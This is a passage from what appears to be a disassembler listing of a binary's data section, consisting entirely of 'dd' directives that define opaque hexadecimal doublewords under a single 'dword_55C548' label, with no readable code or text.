0E59B6480h dd 0B61F6575h, 79C06CFAh dd 0E107C8E8h, 0DF40E105h, 7DD68EEh, 637770D1h, 4B6CE019h dd 0D400C659h, 7B6A6784h, 1E421581h, 819E5EA3h, 0BF408D34h dd 0AED1E454h, 63F88600h, 0EBFF57B3h, 4B1903C6h, 0CC4F8714h dd 0A0A36FA0h, 0D1706200h, 0D08F8EF9h, 66B73071h, 0D3A253CCh dd 852648E8h, 5C00CC39h, 8AB61069h, 76E209DAh, 0D080C01Ah dd 0E942B336h, 10CDFE30h, 0B8BB53CBh, 0D68D0239h, 648630F0h dd 6AE66CC0h, 599AD105h, 0D400BDE1h, 0AF142A4Bh, 68E32D1Dh dd 8027C340h, 0CF406A00h, 0E1249F9Dh, 0E2E40EEAh, 0A340C057h dd 89521B13h, 2019BC00h, 0A428385Ah, 3D030BB2h, 0F08ED287h dd 0D4A0FC0h, 650051EAh, 100108F7h, 0F2189AC7h, 747D7DB8h dd 0FD33035Dh, 9036855Eh, 0E748A8C8h, 35844000h, 0D40AEEEBh dd 1F5F84Ah, 0F397FE1h, 6081D204h, 0BD74FF9Dh, 55A85F00h dd 4A9BC2D0h, 0EFB80041h, 8F13E295h, 1C0EC5D3h, 0A010C0D2h dd 5BC74C79h, 0CAAE00BDh, 0E3847A80h, 6A2612A7h, 350AD42Fh dd 470FE8B6h, 0AA92212Ch, 75C9DB53h, 6D424h, 0E3D584BBh dd 617C9742h, 15007FECh, 6E9840D7h, 0F2AB670h, 3922C230h dd 0A7963240h, 0E73DBE93h, 972D00F4h, 3BAD3C6h, 267172D8h dd 58A930h, 0C377E72Fh, 0BC988779h, 84630600h, 8E9B2293h dd 8B24171Ah, 0ED4C406Fh, 6A0D2056h, 0CDA940Eh, 77CE8442h dd 0B062080h, 0D0F872h, 0FEB6F9ABh, 0D2DA7941h, 33A03Eh dd 7A118E40h, 0F010CA4h, 737175EAh, 6AA7A180h, 40A148F3h dd 3558830Bh, 0E8814326h, 50F2B447h, 0F9711060h, 7F0C689Ch dd 150C66A8h, 98742CE3h, 47050939h, 0D00C7ABFh, 0DD4C1F90h dd 0C77C4F17h, 2A8A9447h, 292F27C1h, 5B2570h, 0B7A51562h dd 30E57E2Eh, 0C55CC700h, 6AA6B280h, 0BA1C00A8h, 0E716FEB5h dd 0DCE72D19h, 4A00F5DDh, 36116B8Fh, 0EE34E575h, 1FC901DAh dd 0F9BC883Bh, 12A804Bh, 1CDB9C5Dh, 0AF5B0F30h, 0B920929Bh dd 0FBFA389Eh, 0A09A7200h, 3EF0066Fh, 4E2B2AC0h, 7F9101BCh dd 0F2EE9F76h, 280470CFh, 31D32C17h, 201A420Fh, 0B044540Eh dd 0AA7101D5h, 0AFEFF1B8h, 2CC40B4h, 840E43CFh, 65D19178h dd 0A44038FFh, 0ADB71BFDh, 0A16100C7h, 189F88A4h, 1F205BDFh dd 76900023h, 49F2B17Bh, 0BF091B07h, 10F6F56Ah, 18A6D64Ch dd 405F0F81h, 0A90416E5h, 69B96EFh, 0C1226400h, 2D0077A5h dd 24A10DB2h, 1FD58E51h, 6C0CA28h, 0E9402CA6h, 6E817300h dd 0D20CFBD4h, 0D59056h, 0ED099882h, 7FEFA8E9h, 422A2218h dd 0EEC33D31h, 0A60A2697h, 0D42C01CCh, 0D1C46822h, 0EA3BD871h dd 492B7418h, 3A08131h, 5648DE96h, 9EFBF56Bh, 0EF1DA906h dd 29D690h, 0C2A91E5Ah, 0D943F559h, 0AA7B5712h, 0C95BF083h dd 6EC0FDC3h, 9AA60079h, 0DE7A9CF0h, 81001066h, 6D24DD26h dd 0F0D8A70Ch, 35210074h, 693EF215h, 0CA0EB3ACh, 80B48CA8h dd 4408858Eh, 90E70147h, 2AAA7A3Bh, 308988Ah, 0DB7621h dd 0D74F8647h, 6FBF1E8Bh, 3E131800h, 0D4530AFh, 0FB3031Dh dd 0A986DCAEh, 0A53E388Eh, 2FBB84CFh, 7DC12EBAh, 0BED12D6Ah dd 0D9EB218Dh, 0B7C0DA3Ah, 0A01471Bh, 4F2C26AEh, 90218B7Eh dd 938000D7h, 1CB7A804h, 2C1B27CCh, 1D207AA7h, 14B28549h dd 428068FEh, 8B93F147h, 680D448Ch, 0E947D900h, 0EA5F149Eh dd 62A76FDh, 90FCA898h, 350068B4h, 8A1BBF2Dh, 309CA0ABh dd 3318A534h, 3741BB25h, 3B8FA400h, 1083F773h, 9D52E634h dd 0F43DB2D9h, 2026D4Eh, 0F2A7CF1Ch, 54ED80EBh, 0E967F4h dd 8CDFEEE5h, 0C62B07E8h, 3A335B00h, 324782FAh, 3DF40092h dd 89B5686Dh, 3C00CA1Eh, 0F3600AD3h, 0D90950h, 0D4A95785h dd 15C83206h, 0E46F2203h, 0FF03FC99h, 0EA2EB6A0h, 34350750h dd 3320AC8Eh, 0BCD053A6h, 0AD000B2Dh, 0D96B5AF0h, 4C44E869h dd 47002F3Dh, 2555405Dh, 190087A9h, 3FF14EE6h, 797CFCB6h dd 6D29008Bh, 28306CDBh, 0EC00CD17h, 5334B26h, 240453D2h dd 1F3FAC13h, 80F7DD8Bh, 635BE2F6h, 0DC0F86EEh, 8031489Eh dd 341CCC90h, 3B360012h, 7B2C7858h, 72038FE8h, 117E3C97h dd 5E201015h, 0AFE43C42h, 620FCE9h, 11E0E71Eh, 2B7B4700h dd 556F6756h, 57623193h, 80124808h, 28632220h, 7F22FBFh dd 2021CC58h, 4019E0C7h, 0AD07D259h, 0FEC07EC3h, 71A85816h dd 0FA4A0084h, 0E55BF73Ch, 91C1D1A2h, 0A558FF3h, 40E7A89Eh dd 57A53D49h, 400C23D6h, 8526E16h, 0AB21C142h, 0D439A525h dd 0CC00FB59h, 713E6484h, 3CC6AA09h, 0EE094CD2h, 286D17Ch dd 0AC48E834h, 98C03C0Fh, 2F915DA6h, 0E50B020Ch, 72AA2DEBh dd 0AD04E05Dh, 0A9380046h, 0C845FF1h, 6D01CCFFh, 45BD613Ah dd 0B8CC1D43h, 0FC2EC83h, 97CD7E2Ah, 2F405B00h, 6600164Eh dd 77BDEB01h, 0C06DB9h, 0E379F9BAh, 0CE7E2DC3h, 34E4800h dd 6C604A1Ch, 6F1E0DF3h, 1F11067Ch, 0E93BC304h, 621003D0h dd 0E0AD78Fh, 0E3E0BCE8h, 0CD25A00h, 0E5BD8914h, 209260E6h dd 26618EC7h, 9E56C800h, 7F84BE40h, 55BD0E33h, 1AE048C9h dd 3D70A6B8h, 72F50101h, 0B76D9434h, 9239F4h, 93CA48A5h dd 10C14A77h, 355DAB00h, 0FA578A5Eh, 0C5BD1CB5h, 0B817008Fh dd 80D051CDh, 122FDC00h, 0E9480EBFh, 703500F2h, 0AF4A501h dd 1B7B3219h, 368AD800h, 0C11C73CEh, 503F0049h, 0D00BF5BDh dd 3E01A5DDh, 0E0B44E53h, 0E2FC1146h, 1370703Bh, 38095F1h dd 0FEAA5BAAh, 5E884A0h, 91DA3100h, 572FDF6Ch, 700F0029h dd 56277F32h, 500ECB2h, 14E84577h, 28A853B8h, 0F3CDD2h dd 0D8BFF4B4h, 18E568BDh, 0A5467800h, 0C1016A86h, 58A80029h dd 4860DBD4h, 40C1E608h, 0B9490B1Eh, 1E3DD1E4h, 3CA6FAA9h dd 8180A0BEh, 43DB7F71h, 0F303294Eh, 8030147Dh, 0C70FA776h dd 70D0860Bh, 17DDB80Ah, 0C5BF22h, 49F1A346h, 0F4A063B1h dd 0C0A9B6A7h, 0EE8AF082h, 0CD749501h, 40585448h, 0BFAC81EFh dd 2B0C40E2h, 0E9E081h, 37B7F3F9h, 0B4A59D74h, 9018827Eh dd 3AE8390Ch, 0F69A0035h, 1F5E923Bh, 9033767h, 39D069BEh dd 8D1B00Eh, 0AC1200C3h, 553F59B0h, 7E00115Dh, 905B0DC1h dd 0FDF20Ah, 0F6E7AE97h, 5F4BAF5Ch, 1C00A27Dh, 0C65D1AAAh dd 3E0729h, 9C6C03D8h, 0ED4CD00Eh, 1742B100h, 0D147415h dd 0DA230056h, 0E877C378h, 84003D61h, 1FBB2D5Dh, 0F21B3D3h dd 0A1325087h, 6E143300h, 5C4C63ECh, 2B731691h, 892E8100h dd 0FAD14498h, 0A041FF50h, 5510BE93h, 5D0718B7h, 0DB4DD196h dd 0A9A3FB90h, 4BF01Eh, 6EB62D59h, 3C205B97h, 0A7006A98h dd 58318F27h, 0E1672Ah, 29CF0B1Ah, 2C32BAA5h, 6F3D7212h dd 0F17C446h, 0BFB203D9h, 0B327D6Dh, 4EFB7198h, 0B8722200h dd 73134FD6h, 477595h, 0E39C05FFh, 92C93EB3h, 4ED4A700h dd 3AAE5F0Dh, 1EC60002h, 77AADC45h, 8300DAB6h, 21C0065Ah dd 48790BB0h, 2C01B00Eh, 0D59863CBh, 0FAF08418h, 914F6042h dd 0AE708203h, 0A0841088h, 7B078BFEh, 773B087Fh, 9C891540h dd 69A8001Bh, 64678241h, 3E03AE49h, 2C6DF13h, 0A8ADE994h dd 381A1EDCh, 0E08522FFh, 0C0C0F6DBh, 7B908847h, 9F7C8300h dd 68C81A7Fh, 221B0093h, 88F14657h, 5E0094FCh, 0C18DFA23h dd 682CF8h, 135B2E17h, 0CD27810Bh, 3158FF00h, 35A85CB6h dd 3CAE001Eh, 0CA32DF61h, 0BC720D28h, 1F4C6700h, 0B4FF968Ah dd 8CA40073h, 37DBF255h dd 2C2833D6h, 380F9BEBh, 0BC76523Ah, 7A9B600h, 23EF8Dh dd 0F3C25A7h, 8582ACE1h, 58A6AA0Ah, 0FB05E0D5h, 3810C66h dd 8C2073F3h, 871A002Ch, 0C74A13D4h, 0B7009FBBh, 0E928B279h dd 0F66CC15h, 89CD3497h, 0F23151A0h, 63004792h, 0E3E1177Fh dd 0FAEDEEF1h, 0F4CA50EFh, 0D2D4F9E2h, 0DB70344h, 45AA81CBh dd 800119D3h, 92F5BC0h, 4680555Ch, 0AAE22D98h, 0B2005D11h dd 0BBB8D85Eh, 0E48DF5h, 54D0408Bh, 6BD44CDDh, 0A099E70Fh dd 3B5C0057h, 870C6Eh, 987ABEF6h, 0AF327F73h, 0D71DF301h dd 0C4586FA8h, 0D24E40DAh, 5EE300CCh, 29F95CA3h, 3B0052ACh dd 769E55E8h, 2485F0Ah, 95EF5446h, 0F9C0FC66h, 1C162C28h dd 40403CF1h, 84F253E8h, 0F0F40029h, 89C53FFEh, 6A05E0F1h dd 6774265Bh, 84DBAC23h, 0E7EB200h, 7A738BADh, 0F77FF91Ch dd 0B38764C7h, 204F24A7h, 0EF582EABh, 0C56D0040h, 0BE52D738h dd 200FDB59h, 0C001995Bh, 185131A4h, 0AE3500E7h, 8D7BDA82h dd 9700B2F4h, 59A32B8Eh, 0D5E507h, 1B28F950h, 0AA4580A1h dd 33007A73h, 0B46C1943h, 0E194F2h, 1B03BAE8h, 0F9FE4909h dd 82F75501h, 5C26D169h, 4F6FE8h, 0C64C50A4h, 0F008DA11h dd 2436EC2Ch, 95538E00h, 2824B5h, 7262CCF5h, 15789444h dd 49B09700h, 9837B4F1h, 0FABE02EFh, 151D3DDh, 0BCDFE040h dd 0D2E74801h, 6E5DCACFh, 719330h, 7066ED39h, 502B9765h dd 0F56AA000h, 62ACCCCFh, 85C30089h, 4393EE5Fh, 9F0FB5C2h dd 80050BA3h, 2D0629F3h, 0C4F91E03h, 67814F07h, 39509EE0h dd 1100CD05h, 0A6AF9989h, 0B83B4h, 62FB774Fh, 2C261A71h dd 8F96B000h, 0CA13C670h, 0B6741C6Dh, 61EF804Ah, 4DDA2AC3h dd 8C03C190h, 2E588B3Ch, 6A67A86Fh, 3EF49Ah, 14B99B41h dd 3297A905h, 57C2CD02h, 48D1719Ch, 4CBDC1Ch, 381BB721h dd 0C5C8C0A1h, 0CEB0EE04h, 48D2930Bh, 7A3600A8h, 448118h dd 751F8BAAh, 6751E657h, 0EE8FD903h, 0D01AC6A9h, 0B3D7C86h dd 0BDABE322h, 3A558021h, 6D9474ECh, 861DA307h, 0A241A4F9h dd 18995A08h, 0F19310FBh, 12A214Bh, 4003E318h, 8C493B24h dd 813C1900h, 0B5FC858Fh, 2E9F308Ah, 5CFAEC18h, 0AE3BB89Ah dd 0D11A18F0h, 3EBCCED2h, 0DB00676Ah, 87237079h, 0A0A6D7Bh dd 1CEBD57Eh, 7047C987h, 0E242D993h, 0D10C83E7h, 793B90A2h dd 0FA197B8Fh, 73D20BEFh, 8A874AA0h, 39826348h, 0D15222B0h dd 99444Ch, 0B78F2D72h, 0EDA698h, 695A7E56h, 0D8B5A197h dd 77124300h, 758699CAh, 9C0A006Eh, 0F2E8EC6Bh, 8AE29855h dd 72038702h, 60898CF7h, 0CEC965h, 7941DD0Eh, 4677CB91h dd 0D4BF5528h, 9F005873h, 0B5E8C9E1h, 3FCE2DA3h, 2F8057A6h dd 94B4F287h, 48E24247h, 19D05100h, 0E98F61CFh, 0E0740001h dd 237C02A0h, 0B198E753h, 0A4B5DF00h, 9E9A9D61h, 0C99400ADh dd 0FD997058h, 0E53E1A75h, 27240032h, 0CD5BD009h, 0BDD4A0C8h dd 197CB13Ch, 0C74D0832h, 0D9A3CCE0h, 0F44A19C3h, 0C00801CBh dd 50C89478h, 401DEBE4h, 1E20BA03h, 406ED2C1h, 68E345ABh dd 71EB4B06h, 0A62182E4h, 4867625Bh, 5C030E64h, 290430A3h dd 0D1A0C75Ch, 4199BDE8h, 0BAC2AA48h, 0A25B1848h, 0DD5321h dd 886E5820h, 75133AFDh, 16C8AF0Eh, 2FE2C14Dh, 5892A194h dd 0BB08205Dh, 0D201CF4Fh, 5B728540h, 74C0DC32h, 0DE47ECCAh dd 61A49890h, 206EDF8h, 3C7562E6h, 887E5040h, 4A092003h dd 0E982D201h, 6E01D52h, 1E4063CCh, 4C884FFFh, 0E848FCC9h dd 869CCF55h, 0A3E15D80h, 0A6CC2461h, 81F60129h, 91CA6835h dd 7803A081h, 20CC2555h, 705F9880h, 0C2F19600h, 0E27AEE0Eh dd 0DC621406h, 0D4449C45h, 4749445Dh, 26AD2301h, 683711D0h dd 55E0BCCDh, 0C95810CDh, 2EBD15F5h, 5C72C1F8h, 50410BF8h dd 2180615Dh, 65B4E4E3h, 0F2009387h, 0EEE85CEDh, 7D952E1Eh dd 0ECB00518h, 80C36897h, 67DD13B6h, 368CB53h, 0E7F16E69h dd 9EA1F12h, 5F05C078h, 0AB9E8E73h, 9136FA14h, 0C1A308D8h dd 0B940327Dh, 9F6AA521h, 1A2860h, 0E18A961Eh, 8B0A1688h dd 0F08D10Dh, 5841D8EAh, 0C210EFC3h, 200641EBh, 5D22BD2Ch dd 0C00990D1h, 0A5FF8F21h, 6E3E4354h, 0C510635h, 2189A1E6h dd 0A21147D9h, 7B508000h, 40BA7F66h, 0AF53A909h, 22901BDEh dd 1A007B61h, 0ACC77D89h, 0FF7799B2h, 0C3377C20h, 63C0A330h dd 74EB2924h, 0FA157C83h, 7029655Bh, 0ED8808CBh, 0A9514588h dd 98BD04D0h, 7C3B4A5Ah, 0ABAD7700h, 0C868A4D8h, 2B837618h dd 0C06E98F9h, 64CB53h, 45FA7754h, 0D40422F0h, 0F12B6F32h dd 1B15279Eh, 825F9384h, 8490FEDCh, 4303EFEBh, 220792E1h dd 0AA610170h, 6DB0FC76h, 0F6B07A61h, 0D5EEE1h, 0A7B39B56h dd 1949EBCDh, 44CAC824h, 0D104038Ch, 3F957301h, 0BB001588h dd 87A3D8EAh, 0E4266A82h, 390CE6B6h, 0D76945h, 36CD8670h dd 0D340AB28h, 95A87303h, 300883D5h, 5FA8B850h, 6A523FBCh dd 767C2290h, 0F90F00FDh, 660273C6h, 277F1115h, 4E8E4D00h dd 8672A93Ch, 0FC6348AEh, 309D48Ch, 0B0B180E3h, 0DD0D5586h dd 2FC83DA1h, 52F40C80h, 74777817h, 0CDBE8B26h, 7C46BB13h dd 289475Dh, 421B89F8h, 0D08F11D5h, 7C99E0A9h, 5A110B98h dd 0CA600A1h, 9A38B164h, 12E0FEC8h, 43CA9D55h, 0D11E45B8h dd 0E0A153h, 40080EBCh, 0C2B7CEh, 0B6345E52h, 0A6ABED73h dd 0E82A6900h, 0B4A892AAh, 0AB7E4F7h, 0A1C83A48h, 24A86880h dd 6BE66364h, 704612A4h, 11D55Bh, 926CD9D4h, 823B2794h dd 4E8FD703h, 11151E73h, 155C54E1h, 0FC87E3Bh, 0C0946BB4h dd 0F98C4419h, 0C059C2E9h, 0A0A3A703h, 83B05398h, 0E824F118h dd 5AC39CCBh, 918100D6h, 692DE031h, 5D013F78h, 0BBBEEDA3h dd 0AC26B998h, 0F6897E3Dh, 4411CB44h, 0A86980AEh, 0CC266984h dd 19A4FC70h, 0F9468F05h, 881009FBh, 0A4DE3D45h, 0B27044B8h dd 28002571h, 9BDCB3E0h, 5814858h, 63293927h, 4FD2C5BCh dd 20B545B4h, 0B4DCEAD8h, 842A1301h, 2EE19461h, 6DD8EF0h dd 4BE6F66Bh, 3D22412Ch, 357E2019h, 88087258h, 0F2E3805Fh dd 9D03D9E1h, 0F2B90930h, 0EAC44B5Ah, 0A22924CCh, 213B9234h dd 0D451B2B0h, 0B803437Ah, 27C342FEh, 0CC1BC044h, 0B440826Eh dd 6D4088DFh, 899F6F5Bh, 24427360h, 3D00A805h, 0BF6C90E0h dd 1C412ACh, 1FA3A6D3h, 0C44911F1h, 3CB163A2h, 8050A511h dd 0C4CB341h, 4D115B5Dh, 65E3F50Eh, 6728224Ah, 0AA24E873h dd 8AB502E2h, 4E38303Ch, 0B4388864h, 781A8022h, 0C61EF771h dd 14915Bh, 0A67515ECh, 0B2002FC2h, 22C5805Dh, 699F7F8Fh dd 0B02299A1h, 5D21492Eh, 5441A2C5h, 51154D23h, 9DC0847Ch dd 0C51A9322h, 0D67B4100h, 3B44E3B0h, 0F91C0181h, 9EFFBCFCh dd 45742454h, 28E43753h, 0C05C284Dh, 0C85C4C84h, 0A25E8078h dd 9ABFFD12h, 0C2AE4516h, 44707008h, 23D1407Ah, 1D137D46h dd 79AA2F8Dh, 0A2E89004h, 486092B6h, 0C800CCE6h, 0C1DC2E5Eh dd 0AB5D6251h, 0F5B7E0D0h, 15767849h, 90E726C3h, 8A5B3FC5h dd 0A1900240h, 40A2FD96h, 91F85D10h, 50D3169Ch, 0B6C71894h dd 468E03E1h, 904498E4h, 41EAE700h, 0FDEE798Dh, 13C63C77h dd 99469F06h, 0AE03B935h, 544FEBCCh, 0A37FD994h, 0E0F0A210h dd 0F42C1DF2h, 0E873D0CBh, 6C37678h, 6527F124h, 265DB090h dd 90BC8AF8h, 4B5780BBh dword_55C548 dd 0B93AEFE8h, 8430489Fh, 0F58DC8Ah, 9CB4AFE0h, 592153C0h dd 1F577CA3h, 2D0318F0h, 54FCE11h, 0F9A65B24h, 11F6C19Eh dd 0DAFC400Ch, 8108E7B4h, 0A5A4F51h, 121C1F45h, 0C00C245Dh dd 29909FA9h, 5B2C0B00h, 9CDC5CACh, 57D219FCh, 33CFC0EDh dd 0F95D1598h, 5045CAC8h, 0CC067290h, 0D97139A6h, 818E8500h dd 0FC5B4146h, 2CA900C5h, 56C249FAh, 6838E831h, 0C75C9D20h dd 0F3635C6Eh, 4845A4EAh, 8A456A2h, 4947EE68h, 0E0F8AC48h dd 4C3AADB5h, 0BF0384Eh, 9EC60512h, 0BB51DE29h, 0C0AAE687h dd 0E3202F80h, 25CDACB5h, 488F9362h, 0C3A6FE9Eh, 164A06Ch dd 0C726AF25h, 0F3D78685h, 84C0C1F3h, 0C021991h, 0B30D6C9Eh dd 0F06449h, 0B4BE82C0h, 142F7F8Ah, 3DBDC313h, 0E43B0822h dd 0E76D01CCh, 3EF0F248h, 86998110h, 0C5C8C136h, 0A1247BD4h dd 4C2DF574h, 86FAEC0h, 3E4AC471h, 0D38569C0h, 0DE650A63h dd 384142h, 340F0907h, 0F801EC5Bh, 7940C3C7h, 12104C85h dd 8A3EBD10h, 25D0A019h, 38236CE8h, 49005A5Dh, 0BE9B2F91h dd 2C71E26Eh, 67F48CD1h, 2959D6BDh, 0BBA9AA01h, 0C8D1C9DEh dd 20535C52h, 81DD4DE2h, 13542100h, 0B4E92C28h, 8C5B3CA1h dd 18126DB8h, 0DC788868h, 5C31E245h, 4451385Dh, 18466B5Fh dd 5CCC5491h, 0F3B7249Fh, 3C6D00F1h, 0C8C32A53h, 0A88074B1h dd 1CF6C9A1h, 22E4014Ah, 8D6D6556h, 0BE81CC43h, 4611A26h dd 115EAAC0h, 0BCF51CA0h, 20A1E5CCh, 7ECB4AF3h, 3BE51A81h dd 3006E822h, 11819AE0h, 22982954h, 595D4544h, 486D886Dh dd 202650h, 54AFEF3Eh, 3229B8D7h, 0D4189246h, 0C447CC4Ch dd 0E088E826h, 0FB908C4Eh, 517ACE03h, 0FBD6CCC9h, 952FB805h dd 525D8030h, 0C56691C0h, 84FEB3h, 0A6B4B5F2h, 7C9868E3h dd 65F60D05h, 0C0766380h, 98AC88h, 56AED711h, 2417915Eh dd 6EA6DD00h, 86D197C3h, 62FE2EF9h, 0A5038C60h, 0C400E8E9h dd 0AD6E1404h, 0B80E1618h, 688D59B6h, 74C9007Ah, 0F3A2A0E6h dd 64B9CA50h, 0A6582020h, 0B0007A40h, 2FFA80D1h, 9C75FF93h dd 543F885Ch, 966C10A5h, 223D0E13h, 7438EB7h, 0ADD0ACB1h dd 0C3A7BA4h, 0B9A580E6h, 0B7ECB5A8h, 8EF4B8Dh, 28AE63ACh dd 8244584h, 895EB0C8h, 567C46Fh, 0F8A15A00h, 5B109612h dd 0E8474DBBh, 62204097h, 3696D335h, 0C96B5D1Ch, 1C421148h dd 0B1047BAAh, 0C804839Bh, 0FC1E6388h, 0E2802A99h, 1287E338h dd 2B350C73h, 0C0997EF7h, 884D7B00h, 0A308E4E2h, 123278C3h dd 4EBC5AACh, 7E2041A4h, 7C3BC5C1h, 9107D4FEh, 6F0373FAh dd 4E6C254h, 0F6430D00h, 0AFA128AEh, 518DD100h, 1183F2EFh dd 58D3096Ch, 40101915h, 0FE01E3AAh, 3DED0C1Eh, 5192A365h dd 0EE182832h, 775E9C07h, 6BE08AFDh, 0F0E27C1h, 4581DEC4h dd 3F097362h, 1840A224h, 690F3B8Eh, 5A002775h, 0BAF08F78h dd 0C936E147h, 20914B58h, 0C0C0127Eh, 0E0E369C4h, 0B9641348h dd 0BDFC451Ah, 0E3D8CC21h, 162E4686h, 0A0214ECCh, 0EFC470D6h dd 8DB810h, 25972E4Fh, 320C7CC5h, 0CB0194E4h, 0C2A8C919h dd 0CDD0F533h, 21E409EBh, 1C90D379h, 9B040886h, 0FE45BF7Fh dd 88BB80F4h, 36007091h, 0CD4D8C29h, 7151ADD0h, 50A505F1h dd 0D868A178h, 8AA0ABF0h, 0F413FD31h, 4049C937h, 0CA60C839h dd 5F3B0201h, 6F9976EDh, 0BF3281C0h, 7B352200h, 3A786111h dd 36C9150h, 97280FC0h, 44C425F2h, 382E909Eh, 0CCA50AEEh dd 1AAECC80h, 3FC840EFh, 8B3B42C4h, 60FF72A8h, 82CB8944h dd 6948BC8Ch, 0A25684E4h, 17EE2859h, 0F48FEAC5h, 0BDA88609h dd 8954E780h, 373BF924h, 0C86D8E8Dh, 0F88504D9h, 26E8CCCCh dd 1868BF7Eh, 23BDB9CBh, 2698989Ch, 8B73DD79h, 0BAD022h dd 0C6E0B72Ah, 0CDEDF475h, 320BA309h, 0AAB498CBh, 0C9E300E2h dd 0DC538F27h, 294C930Ah, 4498843Ch, 6EC75D42h, 0A111F465h dd 6BEC5100h, 287E149Fh, 0F019FB26h, 0B0A16F65h, 0BD006C37h dd 0A01F3116h, 0F3133066h, 0A8905833h, 345E40Ch, 1288ACA9h dd 70B8759Ch, 581322A4h, 0BC34C2ADh, 37120280h, 0AE790143h dd 5E5E7BBh, 0C7B85369h, 28F15107h, 1F4013D7h, 90D2AABh dd 68F8D25Ch, 0FCFC8C46h, 0F613CE01h, 470ED585h, 7C029055h dd 44C8825Ch, 68F9002Ch, 4CE7AD87h, 89AF7A2h, 0F6577044h dd 1DF93FCFh, 63423080h, 9593D59Ah, 0BFF56112h, 7C86C41h dd 0C78C3DFh, 0E49234CBh, 83009C71h, 0ED0EC981h, 0E463F98Ah dd 0A0304B27h, 8700E161h, 6FA59BE3h, 1CEE3Eh, 72B9A94Ch dd 0F6125DCDh, 82C17B60h, 149C3054h, 8039C98Dh, 805CF292h dd 5AA8F436h, 4FE0A8BAh, 1F0C0153h, 79E12667h, 6931D452h dd 36073CFEh, 0C1C94D65h, 0A8C0E0B0h, 0D19AF973h, 288479D3h dd 52CA425Fh, 417889C2h, 0A841B25Ch, 71809D5Bh, 4EC491E4h dd 262633AFh, 0A34430CEh, 12174Eh, 369178E6h, 509468ABh dd 0E9D38F60h, 0BE582450h, 6CB02554h, 0C997CAAh, 2F09DC81h dd 91BCB9EEh, 0C53EC11Eh, 0A7C32632h, 2FCC1D58h, 7A10C201h dd 0E210C308h, 520170D2h, 0F3AF4FF7h, 0B079CB3Dh, 4F9B680h dd 59F6BBD3h, 2E2CE482h, 219705Ch, 9846802Ch, 0DC7EABE1h dd 63B81E4Fh, 685E0EE0h, 0DB365C22h, 4BE8AAA8h, 0ABB82C32h dd 0EB101100h, 87FF02Ah, 96780064h, 0D1A99CEh, 9F055D04h dd 0B7AFDC33h, 0D804A024h, 0A8C931B2h, 663DC2D3h, 6A622D08h dd 0CC180C1Ah, 8701A65Ah, 6A9646A9h, 845CD3BDh, 52DC0118h dd 0DD717CBBh, 5CB08A45h, 0BD05206Dh, 34094686h, 53B062FAh dd 80418040h, 0C4A6F5DBh, 0C8C06096h, 0BC44C5A3h, 7764088h dd 6804CBB5h, 3ABDC35Bh, 0A872A0DDh, 325C9E00h, 7F27FAF4h dd 0FDFB4339h, 49B92616h, 0C08250D4h, 733B2257h, 0FEF64881h dd 2C5060AAh, 0DE89FA00h, 597CE25h, 416A3029h, 2EF8F041h dd 141C21E5h, 59780140h, 8981ADA0h, 514D2961h, 74CE8034h dd 9ADA52F3h, 7C38B341h, 42E9CC80h, 80090E5h, 77B5ACCDh dd 4BF0AB65h, 5D347272h, 9D00E052h, 176F55F2h, 0B9C215CBh dd 0A16D6228h, 0A31C2011h, 1166DE30h, 12721545h, 16B5F0A7h dd 137860ECh, 730393A4h, 479B197Eh, 0E67190E9h, 80B145C9h dd 0B092A699h, 1C0B90CDh, 6FACBEAEh, 17A30811h, 94E824F0h dd 6DE6139Fh, 2CC252Ah, 9F0AE81h, 0FCE35C61h, 7724F8F3h dd 0A65090CAh, 20584E24h, 916B8DBCh, 7D168E00h, 2D4AAC3h dd 53F0368h, 4FDC25A9h, 9E98D809h, 0ABB4E8A1h, 12547CD9h dd 0D253DEAAh, 60F7E698h, 0BE2CB42h, 1A9576B3h, 27BDFCC8h dd 5D06D899h, 9B98D7E6h, 0E9D502A4h, 0FCE080FEh, 0A212FD01h dd 0F06262C8h, 1CD95Dh, 2D59B4CCh, 549CC71Ch, 0AF1144E0h dd 50E400B8h, 3EA5DAF0h, 0DB024525h, 0E92168EDh, 0A2FC7B86h dd 0C2E144E8h, 1829AA12h, 0F11CEC33h, 0F6D11641h, 0BECB7BE0h dd 823D90C8h, 63CAC8AAh, 0A252B1A0h, 0C3A39989h, 9D407051h dd 11270D0h, 1C33413Ah, 0E41E08C9h, 0D50D2A18h, 0E907E5E8h dd 89E22C43h, 0C831225Bh, 0FC941C2Dh, 3A234981h, 56C61071h dd 0D5670775h, 0C08AD9BCh, 0A8B8B733h, 42FD1000h, 0A1955B0Ch dd 0AA48C05Eh, 0DBA28513h, 460B6893h, 0E36491A3h, 7474384Dh dd 0D20703FAh, 78D41BA2h, 5F612FA0h, 0A7BD8F1Dh, 47505407h dd 4BFA6520h, 18807428h, 107BF4E2h, 45017C6Fh, 8D29E930h dd 0F0F3FC2Ah, 60DB7143h dd 31DD383Fh, 0AF75B9DEh, 0D90DCA00h, 0D4F6440Eh, 1B4B00F9h dd 504F618Fh, 9C1BFA7Dh, 0C1588678h, 8BEDD6Eh, 91A86B00h dd 0ABA5C020h, 1B0CE178h, 60211E51h, 0C67A1490h, 8721204Fh dd 4700EC11h, 207BC468h, 750074FBh, 0F877C8FFh, 18392351h dd 284A9CADh, 836030DFh, 53F04B48h, 0C241C0EAh, 0F73184C4h dd 44298A00h, 5451F2CFh, 3A020699h, 0A615057h, 0EF16A914h dd 5FE2188Ch, 395AA749h, 0D000C718h, 0B78865D2h, 0A201F881h dd 0F47D9503h, 6980E711h, 0EBE5615Ah, 7F282822h, 0B88290D5h dd 0DF82813h, 0F10071B1h, 618A9BE6h, 0CAD5D16h, 28E2DD36h dd 0B262C548h, 10862FD1h, 4915878Eh, 90900Bh, 2D8FAA53h dd 220ADDh, 0E478E8A6h, 868352F5h, 0E1D09455h, 0A115EF0Eh dd 1B47CC1h, 1A25346Fh, 0BC5162FEh, 90107802h, 0E1834D60h dd 8841A3ABh, 3C40CE9Ch, 1DCA57DDh, 7D12A0Ah, 50666FB1h dd 4B70D65Fh, 0F0003491h, 78EF2FD5h, 0B062308Fh, 48795D51h dd 5EFC5954h, 0AAB8144h, 2962B640h, 48F947C0h, 3131C00h dd 1E815B16h, 8307312Eh, 0AA22FC42h, 1AF0E000h, 0EA01C40Fh dd 0AC8344C0h, 8CEE303Fh, 7168A17Eh, 84E0546Eh, 0C3DA00E3h dd 617F08F5h, 0A905F322h, 2CD4E29h, 84CBBC44h, 0E50CF542h dd 1099A091h, 7D9AA8CAh, 8DE10035h, 5EDCF9ABh, 0DE0CB091h dd 2860347Ah, 784A64C5h, 0FB8A43EBh, 36FB8BAh, 567F005Ch dd 5F210F11h, 0F508F3D2h, 1832F1B9h, 830289AEh, 1BE9F088h dd 117BE2A4h, 